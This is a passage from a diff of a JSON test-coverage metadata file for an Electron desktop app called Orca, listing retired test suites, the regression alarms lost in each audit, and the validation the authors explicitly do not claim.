isolated. src/main/speech/model-manager.test.ts: requires pinned, internally consistent metadata for every model file; verifies downloaded model file hashes before installation; rejects non-HTTPS model downloads; marks OpenAI transcription models ready only when an API key is configured. src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts: writes to the SFTP namespace path discovered on the same session; uploads the bundle into the SFTP namespace directory; issues no discovery requests when the caller supplies no mapping; ignores a mapping on a Windows host; never resolves on the system-SSH transport; leaves writeBuffer and openFileUploadSession on the shell path; keeps the shell path when discovery is inconclusive; preserves a session-limit channel-open error unchanged. src/main/ssh/connection/ssh-connection-system-transport.test.ts: uses system SSH transport when ProxyUseFdpass is resolved by OpenSSH; allows concurrent exec commands for system SSH with an Orca ControlMaster socket; keeps concurrent exec commands disabled for system SSH without a reusable socket; uses system SSH transport for ProxyCommand targets before ssh2 auth; keeps the original ssh2 reachability error when the system SSH probe fails; reports the system SSH failure when ssh2 cannot negotiate with the host; uses system transport for target or resolved OpenSSH proxy directives; allows an environment override for e2e coverage; ignores stale imported proxy fields when fresh OpenSSH config has no proxy. src/main/ssh/orcad-migration-catalog-client.test.ts: keeps each server project’s execution host, so a nested SSH row is never read as local; reads the server’s folder workspaces and the groups that place them on a host; sends and validates the %s operation; validates an abort result without letting it erase committed state; validates a committed receipt against the requested manifest; rejects malformed stage timestamps and abort envelopes; fails closed for method absence, malformed identity, and invalid pairing; refuses a destination without the capability before sending any migration request; reads method-not-found as the same refusal, not as a lost answer. src/main/ssh/runtime-ssh-access.test.ts: persists intent then claim before connecting and publishes redacted authenticated access; names the saved dependency when dependent state blocks an SSH access link; handles lost link responses without connecting or verifying again; invalidates old transport only after authenticated access is published; rejects changed request tuple after a completed link; rejects provisioning and missing durable generations without connecting; treats a lost successful unlink response as an idempotent no-op; hashes connection identity, not display state or owner; strictly validates ports and request IDs. src/main/startup/cli-launch-redirect.test.ts: detects a launch that received the unpacked CLI entrypoint; ignores normal desktop launches; ignores the entrypoint when it is only the executable itself (argv[0]); applies on Linux too; strips injected Chromium switches before node-mode CLI arguments; keeps user flags after the command and malformed boolean assignments; does not treat a later positional entrypoint path as the launcher; redirects a direct binary launch with no AppImage env at all; strips Chromium switches node mode would reject; preserves desktop-shaped switches after the command; leaves direct serve in-process but redirects its help; treats help as a CLI launch even without a command; treats %s as a CLI launch even without a command; does not treat a value of %s as a CLI early-exit flag; does not treat a serve option value as a help request; does not reinterpret help after the argument terminator; leaves a plain desktop launch alone; skips flag values when looking for the command positional; preserves a project selector in %j; does not apply the command form on macOS or Windows; never redirects an unpackaged build; runs the in-package CLI in Electron node mode with sanitized env; refuses to redirect twice so a dropped ELECTRON_RUN_AS_NODE cannot loop; reports a missing CLI entrypoint instead of booting the desktop app; execs a direct serve into the CLI so it keeps its pid and honours profile and supervise; keeps ORCA_USER_DATA_PATH for a direct serve without --user-data-dir; serves in-process when this runtime cannot exec or the exec fails; never execs the --serve child the CLI itself spawns, or serve on other platforms; surfaces a spawn failure as a non-zero exit; re-execs a direct --serve onto X11 when Electron resolved Wayland; leaves $name alone. src/main/startup/main-process-runtime-launch-activation.test.ts: marks startup settled for the launch record only after the window has loaded and settled; loads SSH targets on a windowless serve before paired clients can connect (#25886); pins the serve listener to loopback only for orcad browser sidecars (sidecar=$sidecar, #31895); saves Codex auth before a headless serve update restart, like the desktop does. src/main/startup/run-electron-vite-dev.test.ts: forwards dev instance identity to electron-vite; prepares userData orca and orca-dev wrappers for dev terminals; consumes the stable-name flag before forwarding args to electron-vite. src/main/updater/releases/updater-prerelease-feed.test.ts: returns the newest stable tag when the user is on an RC and a newer stable exists; returns the newest RC tag when no stable is newer than the current RC; can exclude prerelease tags for stable-channel checks; probes the %s %s platform manifest; returns null for stable-channel checks when only prereleases are newer; returns null when nothing in the feed is newer than the current version; ignores entries with unparseable tags; returns null when the fetch is not ok; returns null when the fetch throws; picks semver-newest across a mixed-order feed; ignores perf-tagged prereleases for regular RC checks; reports no RC update when only perf-tagged prereleases are newer; picks the semver-newest perf-tagged prerelease; matches only literal rc.N.perf prerelease tags for perf checks; reports no perf update instead of falling back to stable or RC tags; returns a bounded fallback candidate after the newest newer tag; returns null when the only newer tag has a manifest but its asset still 404s; requires a known old timestamp for a stable-fallback tag. src/main/updater/updater-events.test.ts: hands the whole downloaded event to artifact capture; publishes manual-install recovery after a %s download; publishes the normal downloaded state for AppImage builds; blocks downloaded-state handling when the packaged marker is unusable; passes the actual updater error into the install-failure handler; keeps manual-install recovery when a later check finds only the installed release; drops the artifact when another version takes over the cycle; ignores a downloaded event for an older target; accepts a matching event when the pending cache target was cleared; drops the artifact when progress reports a different pending version. src/main/updater/updater-linux-package-recovery-actions.test.ts: rejects both actions while no package-install recovery is active; validates the retained package on every invocation; restores recovery after a recheck resolves without a terminal event; restores recovery after a recheck fails; restores recovery when a pinned check resolves to the current version; restores recovery when resolving a pinned check fails; clears recovery for both actions once the package is gone; resolves %s as a result and keeps the card usable instead of rejecting; keeps recovery available after a transient read failure. src/main/updater/updater.check-settlement.test.ts: leaves a dismissed release update on the release source; surfaces net::ERR_FAILED to user-initiated checks with a friendly message; shows checking immediately for a user-initiated check while feed pinning is pending; keeps background checks event-driven before checking-for-update fires. src/main/usage/usage-provider-store-lifecycle.test.ts: persists identities for a whole first scan with one write; skips disabled and fresh matching states; invalidates prior sources on fingerprint changes and reuses them for forced scans. src/main/window/createMainWindow-close-confirmation.test.ts: clears the quit latch when the renderer prevents unload; does not notify the crash recorder when renderer teardown follows a confirmed window close; allows close when Electron reports a crashed webContents; requests confirmation for a hung-but-alive renderer instead of bypassing. src/main/workspaces/catalog/worktree-identity-persistence.test.ts: stores independent metadata for colliding locators on two hosts; projects canonical-only metadata for exactly one host; keeps canonical metadata current for legacy writers on a known owner; removes only the selected legacy-owner metadata when locators collide; keeps the canonical identity stable when the locator changes; leaves other hosts at the old locator when one host renames its folder. src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts: leaves a journaled conversion untouched with the gate closed, %s. src/main/wsl/orcad/wsl-orcad-deploy.test.ts: holds the distro before it deploys and launches, and reports what C5 dials; passes its connect-state read (%s) on as hints; applies the SSH census and downgrade admission to the first deploy; refuses a WSL 1 distro before holding it or touching its files; tells an unregistered distro how to find the installed ones, before holding anything; surfaces an unsupported libc as the SSH host refusal does; starts an already-active slot the distro stop ended, instead of reporting it ready; deploys over an adopted unrecorded orcad under the SSH terminal gate, never a fresh launch; reports the adopted instance once the same version is serving; returns a deferral rather than launching over live terminals; hands a failed first deploy to the fresh-install cleanup before reporting it. src/main/zcode/zcode-v2-plan-credentials.test.ts: prefers migrated credentials over a stale legacy account; keeps legacy support when no personal v2 file exists; honors the upstream personal config override independently of the credential directory; does not borrow credentials from another execution host; preserves the protected Orca key priority even if v2 is corrupt; rejects upstream-invalid selection %j without legacy fallback; accepts a valid optional reasoning level; rejects upstream-invalid rule containers %j without legacy fallback; accepts a valid selected-provider empty personal rule and smart model rule; cannot establish selected credentials from %s rules; leaves encrypted CLI files unchanged across repeated account reads. tests/e2e/automation-terminal-launch.unit.test.ts: launches explicit Chat for %s through the common entry and keeps its actual fallback; does not apply stored Terminal extras to Chat; forwards only complete Chat-consumed values, with no Terminal startup base; refuses an expired admission without minting another launch identity; records the actual chat identity and delegates new workspace setup and provenance. tests/e2e/github-project-provider-columns.unit.test.ts: renders %s through one bounded items request on a named cloud host; preserves zero and complete counters: %j; preserves populated and legacy rows through shared sorting, grouping and cells. tests/e2e/structured-agent-session-launch-continuation.unit.test.ts: carries renderer lifetime through host intent to the real %s provider builders. tests/e2e/terminal-account-restart.unit.test.ts: replaces a tombstoned owner while its persisted pane binding has not yet been cleared; paired restart retains the old owner (host authority: %s). tests/e2e/terminal-hidden-view-parking.spec.ts: does not park excluded tabs; reproduces a static frame byte-for-byte across 25 park/reveal cycles. tests/e2e/terminal-long-table-scroll-restore.spec.ts: reproduces long markdown table artifacts after workspace switch and scroll; keeps narrow wrapped signer markdown table coherent after restore and scroll; keeps real emoji markdown table right edge clean after restore and scroll. tests/e2e/terminal-long-table-fixtures.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-paste-ownership.spec.ts: Windows multiline keyboard paste normalizes terminal newlines with one PTY owner; right-click paste sends clipboard text to the focused terminal exactly once. tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts: uses WebGL by default for ordinary terminal output when available @terminal-rendering-golden. tests/e2e/terminal-windows-shell-paste-ownership.spec.ts: cmd.exe default terminal keyboard paste preserves exact content with one PTY owner; Git Bash default terminal keyboard paste preserves POSIX-shaped content with one PTY owner; WSL terminal keyboard paste preserves Linux shell content with one PTY owner. tests/e2e/workspace-board-lane-virtualization.spec.ts: mounts a window of cards for a large lane and keeps lane indexes; renders later lane indexes after the lane scrolls. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts, src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts, src/main/runtime/orca-runtime-tests/window-authority.spec.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts, src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts, src/main/skills/bundled-skill-install/layouts.test.ts, src/main/skills/skill-upload-session-service.test.ts, src/main/source-control/hosted-review-creation.test.ts, src/main/source-control/hosted-review-execution-host-routing.test.ts, src/main/source-control/hosted-review-inflight-invalidation.test.ts, src/main/speech/model-manager.test.ts, src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts, src/main/ssh/connection/ssh-connection-system-transport.test.ts, src/main/ssh/orcad-migration-catalog-client.test.ts, src/main/ssh/runtime-ssh-access.test.ts, src/main/startup/cli-launch-redirect.test.ts, src/main/startup/main-process-runtime-launch-activation.test.ts, src/main/startup/run-electron-vite-dev.test.ts, src/main/updater/releases/updater-prerelease-feed.test.ts, src/main/updater/updater-events.test.ts, src/main/updater/updater-linux-package-recovery-actions.test.ts, src/main/updater/updater.check-settlement.test.ts, src/main/usage/usage-provider-store-lifecycle.test.ts, src/main/window/createMainWindow-close-confirmation.test.ts, src/main/workspaces/catalog/worktree-identity-persistence.test.ts, src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts, src/main/wsl/orcad/wsl-orcad-deploy.test.ts, src/main/zcode/zcode-v2-plan-credentials.test.ts, tests/e2e/automation-terminal-launch.unit.test.ts, tests/e2e/github-project-provider-columns.unit.test.ts, tests/e2e/structured-agent-session-launch-continuation.unit.test.ts, tests/e2e/terminal-account-restart.unit.test.ts, tests/e2e/terminal-hidden-view-parking.spec.ts, tests/e2e/terminal-long-table-scroll-restore.spec.ts, tests/e2e/terminal-long-table-fixtures.ts, tests/e2e/terminal-paste-ownership.spec.ts, tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts, tests/e2e/terminal-windows-shell-paste-ownership.spec.ts, tests/e2e/workspace-board-lane-virtualization.spec.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded.",
@@ -4306,7 +4217,21 @@
         "Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed.",
         "Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed.",
         "Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed.",
-        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired."
+        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired.",
+        "Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands.",
+        "Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims.",
+        "Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical.",
+        "Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed.",
+        "Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed.",
+        "Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed.",
+        "Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
+        "Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope.",
+        "Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope.",
+        "Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope."
       ],
       "demotionRule": "Demote if a retired runtime transport can leave a renderer subscription without a close event, if a close is delivered more than once, if one failing teardown strands its sibling subscriptions, if payload frames from a retired transport reach the renderer, or if a revealed remote terminal can stay blank or reject input after a reconnect."
     },
@@ -4424,7 +4349,7 @@
       "providers": ["remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": [],
-      "coverageNotes": "Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1899 replays sealed 